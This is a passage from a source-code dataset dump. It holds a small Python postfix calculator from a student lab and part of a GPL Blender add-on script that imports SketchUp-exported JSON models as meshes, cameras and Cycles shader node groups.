"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 1441,
"license_type": "no_license",
"max_line_length": 48,
"num_lines": 60,
"path": "/lab6.py",
"repo_name": "n0rrt/cs-172",
"src_encoding": "UTF-8",
"text": "#Interface Class for a Stack\n#Only allows access to the\n#Stack commands of the built in list\n\n\nclass Stack:\n\t#Create a New Empty Stack\n\tdef __init__(self):\n\t\tself.__S = []\n\t#Display the Stack\n\n\tdef __str__(self):\n\t\treturn str(self.__S)\n\t#Add a new element to top of stack\n\n\tdef push(self, x):\n\t\tself.__S.append(x)\n\t#Remove the top element from stack\n\n\tdef pop(self):\n\t\treturn self.__S.pop()\n\t#See what element is on top of stack\n\t#Leaves stack unchanged\n\n\tdef top(self):\n\t\treturn self.__S[-1]\n#postfix\ndef postfix(exp):\n stack = Stack()\n operators = ['+', '-', '*', '/']\n \n for c in exp.split(' '):\n try:\n stack.push(float(c)) \n except:\n pass\n if c in operators:\n input1 = float(stack.pop())\n input2 = float(stack.pop())\n if c == '+':\n output = float(input1 + input2)\n elif c == '-':\n output = float(input1 - input2)\n elif c == '*':\n output = float(input1 * input2)\n elif c == '/':\n output = float(input2 / input1)\n stack.push(output) \n return output\n\n\n#Main program\nif __name__ == \"__main__\":\n print(\"Welcome to Postfix Calculator\")\n print(\"Enter exit to quit.\")\n userInput = input(\"Enter expression:\\n\")\n\n while(userInput.lower() != 'exit'):\n print(postfix(userInput))\n userInput = input(\"Enter expression:\\n\")\n\n\n"
}
] | 25 |
BlenderCN-Org/blendup_gpl_importer | https://github.com/BlenderCN-Org/blendup_gpl_importer | 65f3e8bf16a60fd0988e55f15658aa1006d53b31 | 5e6fe2c2e6f098e15dbdf694326b1c1c7795cb7a | f65459aea715c5d7245eba447d72eba013237366 | refs/heads/master | 2020-05-27T14:08:41.777184 | 2015-08-10T15:25:04 | 2015-08-10T15:25:04 | null | 0 | 0 | null | null | null | null | null | [
{
"alpha_fraction": 0.5139371156692505,
"alphanum_fraction": 0.5799612402915955,
"avg_line_length": 35.43115234375,
"blob_id": "a6aecba34ef69b108d0a8a38ba817fd2bdae5261",
"content_id": "55aed43c87bc9df896107604a3deb3ac5f932394",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 84666,
"license_type": "no_license",
"max_line_length": 135,
"num_lines": 2324,
"path": "/import.py",
"repo_name": "BlenderCN-Org/blendup_gpl_importer",
"src_encoding": "UTF-8",
"text": "# This program is free software; you can redistribute it and/or\n# modify it under the terms of the GNU General Public License\n# as published by the Free Software Foundation; either version 2\n# of the License, or (at your option) any later version.\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with this program; if not, write to the Free Software Foundation,\n# Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.\n\n# Spread3D BlendUp import script\n\nimport os\nimport struct\nimport bpy\nimport json\nimport math\nfrom bpy_extras.io_utils import unpack_list\nimport mathutils\nimport re\nimport codecs\nfrom bpy.props import *\n\nclass BlendUpMessageOperator(bpy.types.Operator):\n bl_idname = \"blenduperror.message\"\n bl_label = \"BLENDUP ERROR:\"\n message = StringProperty()\n\n def execute(self, context):\n self.report({'ERROR'}, self.message)\n return {'FINISHED'}\n\n def invoke(self, context, event):\n wm = context.window_manager\n return wm.invoke_props_dialog(self)\n\nbpy.utils.register_class(BlendUpMessageOperator)\n\nblenderVersion = bpy.app.version[0]*1000+bpy.app.version[1]*10+bpy.app.version[2]\n\nif blenderVersion < 2740 :\n buperror = \"Update Blender with version 2.74 or above\"\n bpy.ops.blenduperror.message('INVOKE_DEFAULT', message = buperror)\n raise Exception(buperror)\n\nclass Skp2Blend:\n\n def __init__ ( self ):\n\n self.scene = bpy.context.scene\n\n def end( self ):\n\n self.scene.update()\n\n def matrixLookat(self, eye, target, up):\n z = eye - target\n x = up.cross(z)\n y = z.cross(x)\n\n x.normalize()\n y.normalize()\n z.normalize()\n\n rot = mathutils.Matrix()\n rot[0][0] = x[0]\n rot[0][1] = y[0]\n rot[0][2] = z[0]\n rot[0][3] = 0\n rot[1][0] = x[1]\n rot[1][1] = y[1]\n rot[1][2] = z[1]\n rot[1][3] = 0\n rot[2][0] = x[2]\n rot[2][1] = y[2]\n rot[2][2] = z[2]\n rot[2][3] = 0\n tran = mathutils.Matrix.Translation(eye)\n return tran * rot\n\n def importJSON( self, path, sourceDir):\n\n self.sourceDir = sourceDir\n\n #load json model from file\n fileSize = os.stat(path).st_size\n file = open(path, 'rb')\n value = file.read(fileSize).decode('utf-8')\n model = json.loads(value)\n file.close()\n\n\n #read options\n options = model['options']\n\n self.options = options\n\n self.useBlenderCycles = (options['rendering'] == \"Blender Cycles\")\n\n if options[\"shadow\"] == 1:\n sun = bpy.data.objects.get('Sun')\n\n if sun :\n v1 = mathutils.Vector((0,0,0))\n v2 = mathutils.Vector((-options[\"shadowX\"],-options[\"shadowY\"],-options[\"shadowZ\"]))\n\n sun.matrix_world = self.matrixLookat(v1,v2,mathutils.Vector((0,0,1)))\n if self.useBlenderCycles == False:\n if bpy.data.lamps.get(\"Sun\") != None:\n bpy.data.lamps[\"Sun\"].shadow_method='RAY_SHADOW'\n\n if self.useBlenderCycles == False:\n bpy.data.worlds[\"World\"].light_settings.use_environment_light =True\n\n bpy.data.scenes[\"Scene\"].render.resolution_x = options[\"vpWidth\"]\n\n bpy.data.scenes[\"Scene\"].render.resolution_y = options[\"vpHeight\"]\n\n\n\n bpy.context.scene.cycles.samples = options['samples']\n\n bpy.context.scene.cycles.preview_samples = options['samples']\n\n\n if self.useBlenderCycles:\n\n if hasattr(bpy.context.scene,\"cycles\") == False:\n buperror = \"Please activate Cycles Render Engine addon\"\n bpy.ops.blenduperror.message('INVOKE_DEFAULT', message = buperror)\n raise Exception(buperror)\n bpy.context.scene.render.engine = \"CYCLES\"\n else:\n bpy.context.scene.render.engine = \"BLENDER_RENDER\"\n\n #if options['useGPU'] == 0:\n # bpy.context.user_preferences.system.compute_device_type = \"NONE\"\n #else:\n # bpy.context.user_preferences.system.compute_device_type = \"CUDA\"\n\n self.pack_texture = True\n\n self.back_materials = ( options['back_materials'] == 1)\n\n self.use_sharp_edge = ( options['use_sharp_edge'] == 1)\n\n self.use_seam = ( options['use_seam'] == 1)\n\n self.use_freestyle_mark = ( options['use_freestyle_mark'] == 1)\n\n\n self.unit = options['unit']\n\n self.materials = {}\n\n self.images = {}\n\n self.materialGroups = {}\n\n #create model\n self.model = model\n self.parseModel()\n\n #set units\n\n if self.unit == \"m\" or self.unit == \"cm\" or self.unit == \"mm\" :\n bpy.context.scene.unit_settings.system = \"METRIC\"\n else:\n bpy.context.scene.unit_settings.system = \"IMPERIAL\"\n\n if self.unit == \"cm\":\n bpy.context.scene.unit_settings.scale_length = 100\n bpy.data.cameras[\"Camera\"].draw_size = 0.01\n bpy.data.cameras[\"Camera\"].clip_start = 0.01\n bpy.data.cameras[\"Camera\"].clip_end = bpy.data.cameras[\"Camera\"].clip_start * 2000\n elif self.unit == \"mm\":\n bpy.context.scene.unit_settings.scale_length = 1000\n bpy.data.cameras[\"Camera\"].draw_size = 0.001\n bpy.data.cameras[\"Camera\"].clip_start = 0.001\n bpy.data.cameras[\"Camera\"].clip_end = bpy.data.cameras[\"Camera\"].clip_start * 2000\n elif self.unit == \"i\":\n bpy.context.scene.unit_settings.scale_length = 12\n bpy.data.cameras[\"Camera\"].draw_size = 0.0254\n bpy.data.cameras[\"Camera\"].clip_start = 0.0254\n bpy.data.cameras[\"Camera\"].clip_end = bpy.data.cameras[\"Camera\"].clip_start * 2000\n elif self.unit == \"f\":\n bpy.data.cameras[\"Camera\"].draw_size = 0.3048\n\n\n def parseModel( self ):\n\n #parse meshes\n\n self.parseMeshes( )\n\n #parse hierarchy\n\n self.parseNode( self.model[\"hierarchy\"][0], None, -1)\n\n #convert created materials to Cycles materials\n\n if self.useBlenderCycles:\n\n self.createCycleMaterials()\n\n else:\n\n self.createBIMaterials()\n #create camera\n\n self.createCamera()\n\n def createCamera( self ) :\n\n views = self.model[\"views\"]\n\n first = True\n\n for view in views:\n\n\n\n if ( first and len(bpy.data.cameras)>= 1 ):\n\n camera = bpy.data.cameras[0]\n\n camera_object = bpy.context.scene.camera\n\n first = False\n\n else:\n\n camera = bpy.data.cameras.new(view[\"name\"])\n\n camera_object = bpy.data.objects.new(view[\"name\"], camera)\n\n bpy.context.scene.objects.link(camera_object)\n\n\n\n mode = view[\"mode\"]\n\n if mode == \"perspective\":\n\n camera.type = \"PERSP\"\n\n w = float(self.options[\"vpWidth\"])\n\n h = float(self.options[\"vpHeight\"])\n\n ratio = w / h\n\n #camera.lens = 16/(ratio*math.tan(180/3.14159265359* view[\"fov\"] /2))\n\n fieldOfViewY = view[\"fov\"]* 3.14159265359 / 180\n\n camera.sensor_width = 32\n\n camera.angle = 2 * math.atan(math.tan(fieldOfViewY * 0.5) * ratio)\n\n\n #camera.lens = camera.sensor_width / ( 2 * math.tan(0.5* camera.angle))\n\n else:\n\n camera.type = \"ORTHO\"\n camera.ortho_scale = view[\"orthoHeight\"]\n\n eye = mathutils.Vector(view[\"eye\"])\n\n target = mathutils.Vector(view[\"target\"])\n\n up = mathutils.Vector(view[\"up\"])\n\n camera_object.matrix_world = self.matrixLookat(eye, target, up)\n\n\n\n def getImage( self, name ):\n\n img = self.images.get(name)\n\n if img is not None:\n\n return img\n\n absPath = self.sourceDir + \"/\" + name\n\n try:\n img = bpy.data.images.load(absPath)\n\n if self.pack_texture :\n\n bpy.ops.image.pack({'edit_image': img})\n\n self.images[name] = img\n\n except:\n raise NameError(\"Cannot load image %s\" % absPath)\n\n return img\n\n def getEmptyMaterial( self, frontMaterialId, backMaterialId ):\n\n key = str(frontMaterialId)+\"#\"\n\n if self.back_materials:\n\n key += str(backMaterialId)\n\n material = self.materials.get(key);\n\n if material is None:\n\n material = bpy.data.materials.new(name=key)\n\n self.materials[ key ] = material\n\n return material\n\n def parseNode( self, node, parent, parentMaterial ):\n\n nodeName = node[\"name\"]\n\n n = node[\"matrix\"]\n\n nodeMaterial = node[\"material\"]\n\n if \"definition\" in node:\n\n definitionId = node[\"definition\"]\n\n node = self.model[\"definitions\"][definitionId]\n\n children = None\n\n if \"children\" in node:\n\n children = node[\"children\"]\n\n objectData = None\n\n if( nodeMaterial == -1 ):\n\n nodeMaterial = parentMaterial\n\n if \"mesh\" in node:\n\n objectData = self.meshes[node[\"mesh\"]]\n\n object = bpy.data.objects.new(nodeName, objectData)\n\n if parent is not None:\n\n object.parent = parent\n\n [pos,rot,scale] = mathutils.Matrix( [ [n[0],n[4],n[8],n[12]],\n [n[1],n[5],n[9],n[13]],\n [n[2],n[6],n[10],n[14]],\n [n[3],n[7],n[11],n[15]] ] ).decompose()\n\n object.matrix_local = mathutils.Matrix( [ [n[0],n[1],n[2],n[3]],\n [n[4],n[5],n[6],n[7]],\n [n[8],n[9],n[10],n[11]],\n [n[12],n[13],n[14],n[15]] ] )\n\n\n if objectData is not None and nodeMaterial != -1:\n\n k = 0\n\n for meshMaterial in objectData.materials:\n\n meshMaterial = objectData.materials[k]\n\n temp = meshMaterial.name.split(\"#\")\n\n frontMat = int(temp[0])\n\n backMat = -1\n\n if self.back_materials:\n backMat = int(temp[1])\n\n if frontMat == -1 or backMat == -1:\n\n if frontMat == -1:\n frontMat = nodeMaterial\n\n if backMat == -1:\n backMat = nodeMaterial\n\n object.material_slots[k].link = 'OBJECT'\n\n object.material_slots[k].material = self.getEmptyMaterial( frontMat, backMat)\n\n k = k+1\n\n #object.location = pos\n #object.rotation_quaternion = rot\n #object.scale = scale\n\n #object.location = ( pos[0],pos[1],pos[2])\n\n if children is not None:\n\n for child in children:\n\n self.parseNode( child, object, nodeMaterial)\n\n self.scene.objects.link(object)\n\n def parseMeshes( self):\n\n self.meshes = []\n\n meshes = self.model[\"meshes\"]\n\n for m in meshes:\n\n self.meshes.append( self.createMesh(m) )\n\n def createMesh( self, mesh):\n\n me = bpy.data.meshes.new(\"mesh\")\n\n vertices = mesh[\"vertices\"]\n\n faces = mesh[\"indices\"]\n\n normals = mesh[\"normals\"]\n\n sharpEdgesTemp = mesh[\"edges\"]\n\n materials = mesh[\"materials\"]\n\n backMaterials = mesh[\"backMaterials\"]\n\n #computed mesh values\n\n edgeVertices = []\n\n loopVertexIndices = []\n\n loopEdgeIndices = []\n\n polygonLoopStarts = []\n\n polygonLoopTotals = []\n\n polygonMaterialIndices = []\n\n meshMaterials = {}\n\n nbEdges = 0\n\n nbLoops = 0\n\n nbPolygons = 0\n\n for f in range(0, len(faces) ):\n face = faces[f]\n polygonLoopStarts.append(nbLoops)\n polygonLoopTotals.append(len(face))\n\n frontMaterialId = materials[f]\n\n backMaterialId = backMaterials[f]\n\n key = str(frontMaterialId) + \"#\" + str(backMaterialId)\n\n materialId = meshMaterials.get(key)\n\n if( materialId is None ) :\n\n newMat = self.getEmptyMaterial(frontMaterialId,backMaterialId)\n\n materialId = len(me.materials)\n\n me.materials.append(newMat)\n\n meshMaterials[key] = materialId\n\n polygonMaterialIndices.append(materialId)\n\n nbLoops += len(face)\n\n nbPolygons += 1\n\n for i in range(0, len(face) ):\n loopVertexIndices.append(face[i])\n loopEdgeIndices.append(nbEdges)\n if( i != ( len(face) -1 ) ):\n edgeVertices.extend([face[i],face[i+1]])\n else:\n edgeVertices.extend([face[i],face[0]])\n nbEdges += 1\n\n\n sharpEdges = []\n\n for f in range(0, len(sharpEdgesTemp) ):\n if( sharpEdgesTemp[f] == 1 ):\n sharpEdges.append(True)\n else:\n sharpEdges.append(False)\n\n #print( \"mesh:\"+str(len(self.meshes)))\n #print( \"nbEdges:\"+str(nbEdges))\n #print( \"nbLoops:\"+str(nbLoops))\n #print( \"nbPolygons:\"+str(nbPolygons))\n #print( \"edgeVertices:\"+str(len((edgeVertices))))\n\n #create vertices\n\n me.vertices.add(len(vertices))\n\n me.vertices.foreach_set(\"co\", unpack_list(vertices))\n\n #create edges\n\n me.edges.add(nbEdges)\n\n me.edges.foreach_set(\"vertices\", edgeVertices )\n\n if self.use_sharp_edge :\n me.edges.foreach_set(\"use_edge_sharp\", sharpEdges )\n\n if self.use_freestyle_mark :\n me.edges.foreach_set(\"use_freestyle_mark\", sharpEdges )\n\n if self.use_seam :\n me.edges.foreach_set(\"use_seam\", sharpEdges )\n\n #create loops\n\n me.loops.add(nbLoops)\n\n me.loops.foreach_set(\"vertex_index\", loopVertexIndices)\n\n me.loops.foreach_set(\"edge_index\", loopEdgeIndices)\n\n #create polygons\n\n me.polygons.add(nbPolygons)\n\n me.polygons.foreach_set(\"loop_start\", polygonLoopStarts)\n\n me.polygons.foreach_set(\"loop_total\", polygonLoopTotals)\n\n me.polygons.foreach_set(\"material_index\", polygonMaterialIndices)\n\n #create two uv textures for front and back face\n\n me.uv_textures.new(\"UVMap\")\n\n #me.uv_textures.new(\"BackUV\")\n\n #set uv\n\n frontUvs = mesh[\"uvs\"]\n frontLayerData = me.uv_layers[0].data\n\n #backUvs = mesh[\"backUvs\"]\n #backLayerData = me.uv_layers[1].data\n\n for k in range(0, nbLoops):\n frontLayerData[k].uv = frontUvs[k]\n #backLayerData[k].uv = backUvs[k]\n\n\n #set custom split normals\n\n me.loops.foreach_get(\"normal\", unpack_list(normals))\n\n me.normals_split_custom_set(normals)\n\n #me.show_normal_loop = True # debug normals\n\n me.validate(verbose=False,clean_customdata=False) # *Very* important to not remove lnors here!\n\n me.use_auto_smooth = True\n\n me.show_edge_sharp = True\n\n\n return me\n\n def createBlendUpGlossy( self ):\n\n group = bpy.data.node_groups.new('BlendUpGlossy', 'ShaderNodeTree')\n group.use_fake_user = True\n nodes = []\n\n nodes.append(group.nodes.new('ShaderNodeBsdfTransparent'))\n nodes.append(group.nodes.new('ShaderNodeMixShader'))\n nodes.append(group.nodes.new('NodeGroupOutput'))\n nodes.append(group.nodes.new('ShaderNodeBsdfGlossy'))\n nodes.append(group.nodes.new('NodeGroupInput'))\n\n group.inputs.new('NodeSocketColor','Color')\n group.inputs.new('NodeSocketFloatFactor','Transparency')\n group.inputs.new('NodeSocketFloatFactor','Roughness')\n group.inputs.new('NodeSocketVector','Normal Map')\n\n group.outputs.new('NodeSocketShader','out')\n\n setattr(nodes[0], 'location', [-93.27900695800781, 22.7655029296875])\n setattr(nodes[1], 'location', [158.4275360107422, -18.004966735839844])\n setattr(nodes[2], 'location', [392.5262756347656, -23.345855712890625])\n setattr(nodes[3], 'location', [-98.65467834472656, -140.48617553710938])\n setattr(nodes[4], 'location', [-363.0636901855469, -19.837453842163086])\n\n group.links.new(group.nodes[4].outputs[1], group.nodes[1].inputs[0], False)\n group.links.new(group.nodes[1].outputs[0], group.nodes[2].inputs[0], False)\n group.links.new(group.nodes[0].outputs[0], group.nodes[1].inputs[1], False)\n group.links.new(group.nodes[4].outputs[0], group.nodes[3].inputs[0], False)\n group.links.new(group.nodes[4].outputs[2], group.nodes[3].inputs[1], False)\n group.links.new(group.nodes[4].outputs[3], group.nodes[3].inputs[2], False)\n group.links.new(group.nodes[3].outputs[0], group.nodes[1].inputs[2], False)\n\n setattr(group.inputs[0], 'default_value', [0.4793201982975006, 0.4793201982975006, 0.4793201982975006, 1.0])\n\n setattr(group.inputs[1], 'default_value', 1.0)\n setattr(group.inputs[1], 'max_value', 1.0)\n setattr(group.inputs[1], 'min_value', 0.0)\n\n setattr(group.inputs[2], 'default_value', 0.0)\n setattr(group.inputs[2], 'max_value', 1.0)\n setattr(group.inputs[2], 'min_value', 0.0)\n\n setattr(group.inputs[3], 'default_value', [0.0, 0.0, 0.0])\n setattr(group.inputs[3], 'max_value', 1.0)\n setattr(group.inputs[3], 'min_value', -1.0)\n\n return group\n\n def createBlendUpDiffuse( self ):\n\n group = bpy.data.node_groups.new('BlendUpDiffuse', 'ShaderNodeTree')\n group.use_fake_user = True\n nodes = []\n\n nodes.append(group.nodes.new('ShaderNodeBsdfTransparent'))\n nodes.append(group.nodes.new('ShaderNodeMixShader'))\n nodes.append(group.nodes.new('NodeGroupOutput'))\n nodes.append(group.nodes.new('ShaderNodeBsdfDiffuse'))\n nodes.append(group.nodes.new('NodeGroupInput'))\n\n group.inputs.new('NodeSocketColor','Color')\n group.inputs.new('NodeSocketFloatFactor','Transparency')\n group.inputs.new('NodeSocketFloatFactor','Roughness')\n group.inputs.new('NodeSocketVector','Normal Map')\n\n group.outputs.new('NodeSocketShader','out')\n\n setattr(nodes[0], 'location', [-93.27900695800781, 22.7655029296875])\n setattr(nodes[1], 'location', [158.4275360107422, -18.004966735839844])\n setattr(nodes[2], 'location', [392.5262756347656, -23.345855712890625])\n setattr(nodes[3], 'location', [-98.65467834472656, -140.48617553710938])\n setattr(nodes[4], 'location', [-363.0636901855469, -19.837453842163086])\n\n group.links.new(group.nodes[4].outputs[1], group.nodes[1].inputs[0], False)\n group.links.new(group.nodes[1].outputs[0], group.nodes[2].inputs[0], False)\n group.links.new(group.nodes[0].outputs[0], group.nodes[1].inputs[1], False)\n group.links.new(group.nodes[4].outputs[0], group.nodes[3].inputs[0], False)\n group.links.new(group.nodes[4].outputs[2], group.nodes[3].inputs[1], False)\n group.links.new(group.nodes[4].outputs[3], group.nodes[3].inputs[2], False)\n group.links.new(group.nodes[3].outputs[0], group.nodes[1].inputs[2], False)\n\n setattr(group.inputs[0], 'default_value', [0.4793201982975006, 0.4793201982975006, 0.4793201982975006, 1.0])\n\n setattr(group.inputs[1], 'default_value', 1.0)\n setattr(group.inputs[1], 'max_value', 1.0)\n setattr(group.inputs[1], 'min_value', 0.0)\n\n setattr(group.inputs[2], 'default_value', 0.0)\n setattr(group.inputs[2], 'max_value', 1.0)\n setattr(group.inputs[2], 'min_value', 0.0)\n\n setattr(group.inputs[3], 'default_value', [0.0, 0.0, 0.0])\n setattr(group.inputs[3], 'max_value', 1.0)\n setattr(group.inputs[3], 'min_value', -1.0)\n\n return group\n\n def createBlendUpMixDiffuseGlossy( self ):\n\n group = bpy.data.node_groups.new('BlendUpMixDiffuseGlossy', 'ShaderNodeTree')\n group.use_fake_user = True\n nodes = []\n\n nodes.append(group.nodes.new('ShaderNodeBsdfGlossy'))\n nodes.append(group.nodes.new('NodeGroupOutput'))\n nodes.append(group.nodes.new('ShaderNodeBsdfDiffuse'))\n nodes.append(group.nodes.new('ShaderNodeMixShader'))\n nodes.append(group.nodes.new('NodeGroupInput'))\n nodes.append(group.nodes.new('ShaderNodeMixShader'))\n nodes.append(group.nodes.new('ShaderNodeBsdfTransparent'))\n\n\n group.inputs.new('NodeSocketColor','Color')\n group.inputs.new('NodeSocketColor','Gloss Color')\n group.inputs.new('NodeSocketFloatFactor','Gloss')\n group.inputs.new('NodeSocketFloatFactor','Transparency')\n group.inputs.new('NodeSocketFloatFactor','Roughness')\n group.inputs.new('NodeSocketVector','Normal')\n\n group.outputs.new('NodeSocketShader','out')\n\n setattr(nodes[0], 'location', [-98.08839416503906, -284.52398681640625])\n setattr(nodes[1], 'location', [479.94244384765625, -22.178813934326172])\n setattr(nodes[2], 'location', [-98.65467834472656, -140.48617553710938])\n setattr(nodes[3], 'location', [104.83003997802734, -196.83013916015625])\n setattr(nodes[4], 'location', [-363.0636901855469, -19.837453842163086])\n setattr(nodes[5], 'location', [279.025634765625, -66.3199462890625])\n setattr(nodes[6], 'location', [97.43165588378906, -9.969608306884766])\n\n group.links.new(group.nodes[4].outputs[3], group.nodes[5].inputs[0], False)\n group.links.new(group.nodes[5].outputs[0], group.nodes[1].inputs[0], False)\n group.links.new(group.nodes[6].outputs[0], group.nodes[5].inputs[1], False)\n group.links.new(group.nodes[4].outputs[0], group.nodes[2].inputs[0], False)\n group.links.new(group.nodes[4].outputs[4], group.nodes[2].inputs[1], False)\n group.links.new(group.nodes[4].outputs[5], group.nodes[2].inputs[2], False)\n group.links.new(group.nodes[4].outputs[1], group.nodes[0].inputs[0], False)\n group.links.new(group.nodes[4].outputs[4], group.nodes[0].inputs[1], False)\n group.links.new(group.nodes[3].outputs[0], group.nodes[5].inputs[2], False)\n group.links.new(group.nodes[2].outputs[0], group.nodes[3].inputs[1], False)\n group.links.new(group.nodes[0].outputs[0], group.nodes[3].inputs[2], False)\n group.links.new(group.nodes[4].outputs[2], group.nodes[3].inputs[0], False)\n\n\n setattr(group.inputs[0], 'default_value', [0.4793201982975006, 0.4793201982975006, 0.4793201982975006, 1.0])\n setattr(group.inputs[1], 'default_value', [0.800000011920929, 0.800000011920929, 0.800000011920929, 1.0])\n setattr(group.inputs[2], 'default_value', 0.20000000298023224)\n setattr(group.inputs[2], 'max_value', 1.0)\n setattr(group.inputs[2], 'min_value', 0.0)\n\n setattr(group.inputs[3], 'default_value', 1.0)\n setattr(group.inputs[3], 'max_value', 1.0)\n setattr(group.inputs[3], 'min_value', 0.0)\n\n setattr(group.inputs[4], 'default_value', 0.0)\n setattr(group.inputs[4], 'max_value', 1.0)\n setattr(group.inputs[4], 'min_value', 0.0)\n\n setattr(group.inputs[5], 'default_value', [0.0, 0.0, 0.0])\n setattr(group.inputs[5], 'max_value', 1.0)\n setattr(group.inputs[5], 'min_value', -1.0)\n\n return group\n\n def createBlendUpMixDiffuseGlossy2( self ):\n\n group = bpy.data.node_groups.new('BlendUpMixDiffuseGlossy2', 'ShaderNodeTree')\n group.use_fake_user = True\n nodes = []\n\n nodes.append(group.nodes.new('ShaderNodeMixShader'))\n nodes.append(group.nodes.new('ShaderNodeMixShader'))\n nodes.append(group.nodes.new('ShaderNodeBsdfDiffuse'))\n nodes.append(group.nodes.new('ShaderNodeBsdfTransparent'))\n nodes.append(group.nodes.new('ShaderNodeLayerWeight'))\n nodes.append(group.nodes.new('NodeGroupOutput'))\n nodes.append(group.nodes.new('ShaderNodeBsdfGlossy'))\n nodes.append(group.nodes.new('NodeGroupInput'))\n\n\n group.inputs.new('NodeSocketColor','Color')\n group.inputs.new('NodeSocketColor','Gloss Color')\n group.inputs.new('NodeSocketFloatFactor','Transparency')\n group.inputs.new('NodeSocketFloatFactor','Roughness')\n group.inputs.new('NodeSocketFloatFactor','Blend')\n group.inputs.new('NodeSocketVector','Normal')\n\n group.outputs.new('NodeSocketShader','out')\n\n setattr(nodes[0], 'location', [58.88031005859375, -1.1132183074951172])\n setattr(nodes[1], 'location', [295.30865478515625, 43.30387878417969])\n setattr(nodes[2], 'location', [-212.7175750732422, 22.63483428955078])\n setattr(nodes[3], 'location', [67.42587280273438, 99.98251342773438])\n setattr(nodes[4], 'location', [-213.2921600341797, 171.57620239257812])\n setattr(nodes[5], 'location', [496.9807434082031, 9.520580291748047])\n setattr(nodes[6], 'location', [-216.29188537597656, -123.47525024414062])\n setattr(nodes[7], 'location', [-523.8729858398438, 6.868438720703125])\n\n group.links.new(group.nodes[6].outputs[0], group.nodes[0].inputs[2], False)\n group.links.new(group.nodes[4].outputs[1], group.nodes[0].inputs[0], False)\n group.links.new(group.nodes[3].outputs[0], group.nodes[1].inputs[1], False)\n group.links.new(group.nodes[7].outputs[0], group.nodes[2].inputs[0], False)\n group.links.new(group.nodes[2].outputs[0], group.nodes[0].inputs[1], False)\n group.links.new(group.nodes[0].outputs[0], group.nodes[1].inputs[2], False)\n group.links.new(group.nodes[1].outputs[0], group.nodes[5].inputs[0], False)\n group.links.new(group.nodes[7].outputs[2], group.nodes[1].inputs[0], False)\n group.links.new(group.nodes[7].outputs[3], group.nodes[2].inputs[1], False)\n group.links.new(group.nodes[7].outputs[5], group.nodes[2].inputs[2], False)\n group.links.new(group.nodes[7].outputs[3], group.nodes[6].inputs[1], False)\n group.links.new(group.nodes[7].outputs[5], group.nodes[6].inputs[2], False)\n group.links.new(group.nodes[7].outputs[4], group.nodes[4].inputs[0], False)\n group.links.new(group.nodes[7].outputs[5], group.nodes[4].inputs[1], False)\n group.links.new(group.nodes[7].outputs[1], group.nodes[6].inputs[0], False)\n\n\n setattr(group.inputs[0], 'default_value', [0.800000011920929, 0.800000011920929, 0.800000011920929, 1.0])\n setattr(group.inputs[1], 'default_value', [0.6382714509963989, 0.6382714509963989, 0.6382714509963989, 1.0])\n setattr(group.inputs[2], 'default_value', 1.0)\n setattr(group.inputs[2], 'max_value', 1.0)\n setattr(group.inputs[2], 'min_value', 0.0)\n setattr(group.inputs[3], 'default_value', 0.0)\n setattr(group.inputs[3], 'max_value', 1.0)\n setattr(group.inputs[3], 'min_value', 0.0)\n setattr(group.inputs[4], 'default_value', 0.10000000149011612)\n setattr(group.inputs[4], 'max_value', 1.0)\n setattr(group.inputs[4], 'min_value', 0.0)\n setattr(group.inputs[5], 'default_value', [0.0, 0.0, 0.0])\n setattr(group.inputs[5], 'max_value', 1.0)\n setattr(group.inputs[5], 'min_value', -1.0)\n\n return group\n\n def createBlendUpFabric( self ):\n\n group = bpy.data.node_groups.new('BlendUpFabric', 'ShaderNodeTree')\n group.use_fake_user = True\n nodes = []\n\n nodes.append(group.nodes.new('ShaderNodeBsdfVelvet'))\n nodes.append(group.nodes.new('ShaderNodeBsdfDiffuse'))\n nodes.append(group.nodes.new('ShaderNodeBsdfTransparent'))\n nodes.append(group.nodes.new('ShaderNodeMixShader'))\n nodes.append(group.nodes.new('ShaderNodeMixShader'))\n nodes.append(group.nodes.new('NodeGroupOutput'))\n nodes.append(group.nodes.new('ShaderNodeMixShader'))\n nodes.append(group.nodes.new('ShaderNodeCombineHSV'))\n nodes.append(group.nodes.new('ShaderNodeSeparateHSV'))\n nodes.append(group.nodes.new('ShaderNodeMath'))\n nodes.append(group.nodes.new('ShaderNodeLayerWeight'))\n nodes.append(group.nodes.new('ShaderNodeBsdfGlossy'))\n nodes.append(group.nodes.new('NodeGroupInput'))\n\n\n\n\n group.inputs.new('NodeSocketColor','Color')\n group.inputs.new('NodeSocketFloatFactor','Transparency')\n group.inputs.new('NodeSocketFloatFactor','Roughness')\n group.inputs.new('NodeSocketFloatFactor','Velvet')\n group.inputs.new('NodeSocketFloatFactor','Blend')\n group.outputs.new('NodeSocketShader','out')\n group.inputs.new('NodeSocketVector','Normal')\n\n setattr(nodes[0], 'location', [-106.10821533203125, -137.16693115234375])\n setattr(nodes[1], 'location', [-114.49026489257812, -294.1087646484375])\n setattr(nodes[2], 'location', [-101.3060302734375, 58.19593048095703])\n setattr(nodes[3], 'location', [468.136962890625, -55.72111129760742])\n setattr(nodes[4], 'location', [418.14990234375, -235.820556640625])\n setattr(nodes[5], 'location', [655.2421875, -59.36756134033203])\n setattr(nodes[6], 'location', [102.14228820800781, -74.29711151123047])\n setattr(nodes[7], 'location', [-416.46148681640625, -162.48497009277344])\n setattr(nodes[8], 'location', [-662.0545043945312, -154.95553588867188])\n setattr(nodes[9], 'location', [-541.9961547851562, -322.1856384277344])\n setattr(nodes[10], 'location', [134.7645263671875, -201.5348663330078])\n setattr(nodes[11], 'location', [130.19033813476562, -338.1103515625])\n setattr(nodes[12], 'location', [-854.2901000976562, -1.4631919860839844])\n\n group.links.new(group.nodes[2].outputs[0], group.nodes[3].inputs[1], False)\n group.links.new(group.nodes[12].outputs[0], group.nodes[1].inputs[0], False)\n group.links.new(group.nodes[12].outputs[0], group.nodes[2].inputs[0], False)\n group.links.new(group.nodes[12].outputs[1], group.nodes[3].inputs[0], False)\n group.links.new(group.nodes[12].outputs[2], group.nodes[1].inputs[1], False)\n group.links.new(group.nodes[12].outputs[3], group.nodes[6].inputs[0], False)\n group.links.new(group.nodes[12].outputs[5], group.nodes[1].inputs[2], False)\n group.links.new(group.nodes[3].outputs[0], group.nodes[5].inputs[0], False)\n 